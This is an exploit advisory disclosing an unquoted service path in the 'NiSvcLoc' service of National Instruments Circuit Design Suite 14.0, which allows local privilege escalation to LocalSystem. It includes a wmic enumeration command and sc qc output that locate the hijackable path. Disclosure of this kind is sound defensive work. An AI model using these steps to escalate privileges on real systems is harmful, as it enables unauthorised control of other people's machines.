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National Instruments Circuit Design Suite 14.0 Privilege Escalation

National Instruments Circuit Design Suite 14.0 Privilege Escalation
Posted Oct 11, 2019
Authored by Ivan Marmolejo

National Instruments Circuit Design Suite version 14.0 suffers from a local privilege escalation vulnerability.

tags | exploit, local
SHA-256 | cd885d03d33d72571b714a0da40240acc28f74b89af948a2c881c34adc3cde22

National Instruments Circuit Design Suite 14.0 Privilege Escalation

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# Exploit Title: National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation
# Discovery Date: 2019-10-10
# Exploit Author: Ivan Marmolejo
# Vendor Homepage: http://www.ni.com/en-us.html
# Software Link: https://www.ni.com/en-us/shop/select/circuit-design-suite
# Version: 14.0
# Vulnerability Type: Local
# Tested on: Windows 10 Pro x64 Esp
# Version: 10.0.18362

# Exploit.txt

##############################################################################################################################################

Summary: Circuit Design Suite combines Multisim and Ultiboard software to offer a complete set of tools for circuit design,simulation,
validation and design. Circuit Design Suite helps you design circuits with intuitive and cost-effective tools. You can perform an interactive
SPICE simulation and make a perfect transition to PCB design and routing software. Built for education, research and design, the suite offers
advanced simulation capabilities to give you a clear view of how circuits perform in any situation.

Description: The application suffers from an unquoted search path issue impacting the service 'NiSvcLoc'. This could potentially allow an
authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require
the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could
potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
of the application.


##############################################################################################################################################

Step to discover the unquoted Service:


C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """


NI Service Locator NiSvcLoc C:\Program Files (x86)\National Instruments\Shared\niSvcLoc\nisvcloc.exe -s Auto


##############################################################################################################################################

Service info:


C:\Users\user>sc qc NiSvcLoc

[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: NiSvcLoc
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\National Instruments\Shared\niSvcLoc\nisvcloc.exe -s
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : NI Service Locator
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

##############################################################################################################################################
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